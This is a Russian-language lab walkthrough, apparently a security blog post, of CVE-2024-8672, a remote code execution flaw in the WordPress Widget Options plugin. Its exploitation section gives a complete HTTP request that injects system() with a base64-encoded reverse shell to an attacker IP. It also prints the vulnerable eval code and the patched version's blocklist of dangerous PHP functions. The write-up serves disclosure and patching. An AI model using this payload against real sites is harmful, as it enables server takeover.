Введение

28 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с CVSS 9.9. Уязвимость позволяет выполнять удалённое исполнение вредоносного кода пользователю, имеющему права "Contributor" и выше. Уязвимости подвержены все версии плагина ниже 4.0.7 (включительно).

Подготовка стендового окружения

Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.

Установка WordPress

Заходим на страницу загрузки WordPress и скачиваем последнюю версию:

Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP - /opt/lampp/htdocs):

cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/

Также нужно изменить владельца папки wordpress на пользователя веб-сервера (в случае с XAMPP - daemon):

sudo chown -R daemon:daemon /opt/lampp/htdocs

Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress:

Здесь необходимо будет указать данные для подключения к MySQL (для XAMPP - имя пользователя root и пустой пароль), а также создать админского пользователя:

WordPress установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального магазина плагинов WordPress:

После скачивания архива необходимо добавить плагин в разделе Plugins -> Installed Plugins:

Для корректной работы плагина необходимо создать пользователя с правами Contributor или выше. Это можно сделать в разделе Users:

Эксплуатация уязвимости

Для эксплуатации уязвимости требуется предварительное получение токена X-WP-Nonce для доступа к API. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами Contributor или выше, перейти в раздел Pages и создать новую страницу:

После этого открывается редактор новой страницы, который обращается к API WordPress, передавая заголовок X-WP-Nonce, который нам и нужен:

Теперь, для удалённого исполнения кода достаточно отправить GET или POST запрос:

GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&attributes[commentsToShow]=5&attributes[displayAvatar]=true&attributes[displayDate]=true&attributes[displayExcerpt]=true&attributes[extended_widget_opts][class][logic]=system('echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash')%3b&post_id=0&_locale=site HTTP/1.1
Host: 172.20.10.4
X-WP-Nonce: 9e522759e7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641

Здесь параметр GET attributes[extended_widget_opts][class][logic] передается в функцию PHP eval, которая выполняет переданный ей аргумент как код PHP. При этом значение данного параметра содержит вызов функции system, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.

Таким образом, в терминал операционной системы сервера передается команда echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash, которая представляет собой инструкцию для отправки обратного шелла (или reverse shell) на атакующую машину. Эта команда декодирует закодированную строку с помощью base64 и передает результат в интерпретатор bash, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.

Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.

Причины уязвимости

Причина уязвимости тривиальна: разработчики передают GET-параметр в функцию eval без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый GET-параметр до устранения данной уязвимости:

function widgetopts_safe_eval($expression)
{
    ob_start();
    try {
        $result = (bool) eval("return $expression;");
    } catch (Throwable $e) {
        return false;
    }
    ob_end_clean();

    return $result;
}

Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию eval. После исправления разработчик внедрил фильтрацию потенциально опасных функций PHP, в результате чего функция была модифицирована следующим образом:

function widgetopts_safe_eval($expression)
{
    // List of potentially harmful patterns
    $dangerous_patterns = [
        // Database-related keywords
        '/\binsert\b/i',
        '/\bupdate\b/i',
        '/\bdelete\b/i',
        '/\breplace\b/i',
        '/\bselect\b/i',
        '/\bdrop\b/i',
        '/\balter\b/i',

        // WordPress-specific database functions
        '/\bwp_insert_post\b/i',
        '/\bwp_update_post\b/i',
        '/\bwp_delete_post\b/i',
        '/\bwp_insert_user\b/i',
        '/\bwp_update_user\b/i',
        '/\bwp_delete_user\b/i',
        '/\badd_option\b/i',
        '/\bupdate_option\b/i',
        '/\bdelete_option\b/i',
        '/\bwpdb\b/i',

        // JavaScript, CSS, and HTML
        '/<script\b[^>]*>(.*?)<\/script>/i',
        '/<style\b[^>]*>(.*?)<\/style>/i',

        // PHP file manipulation functions
        '/\bfile_put_contents\b/i',
        '/\bfile_get_contents\b/i',
        '/\bfopen\b/i',
        '/\bfwrite\b/i',
        '/\bunlink\b/i',
        '/\brename\b/i',
        '/\bchmod\b/i',
        '/\bchown\b/i',
        '/\bcopy\b/i',
        '/\bscandir\b/i',

        // External connections
        '/\bwp_remote_get\b/i',
        '/\bwp_remote_post\b/i',
        '/\bcurl_init\b/i',
        '/\bstream_context_create\b/i',

        // Reflection and dynamic variable/function manipulation
        '/\bReflectionClass\b/i',
        '/\bReflectionMethod\b/i',
        '/\bReflectionProperty\b/i',
        '/\bcall_user_func\b/i',
        '/\bcall_user_func_array\b/i',
        '/\bextract\b/i',
        '/\bparse_str\b/i',

        // System commands
        '/\beval\b/i',
        '/\bsystem\b/i',
        '/\bshell_exec\b/i',
        '/\bexec\b/i',
        '/\bpassthru\b/i',
        '/\bpopen\b/i'
    ];

    $return = true;
    // Pattern matching
    foreach ($dangerous_patterns as $pattern) {
        if (preg_match($pattern, $expression)) {
            $return = false;
            break;
        }
    }

    if ($return === false) {
        return $return;
    }

    if (stristr($expression, "return") === false) {
        $expression = "return (" . $expression . ");";
    }

    ob_start();
    try {
        $result = (bool) (@eval($expression));
    } catch (\Exception $e) {
        $result = false;
    } catch (\Error $e) {
        $result = false;
    } catch (\ParseError $e) {
        $result = false;
    } catch (\Throwable $e) {
        $result = false;
    }
    ob_end_clean();

    return $result;
}

Стоит отметить, что примененный в решении разработчика подход "черного списка" является менее безопасным по сравнению с подходом "белого списка". Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.

Заключение

В заключение, уязвимость CVE-2024-8672, обладающая высоким уровнем критичности с оценкой CVSS 9.9, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами Contributor и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы. В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи - 4.0.8), в которой данная уязвимость была устранена.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

Комментарии (0)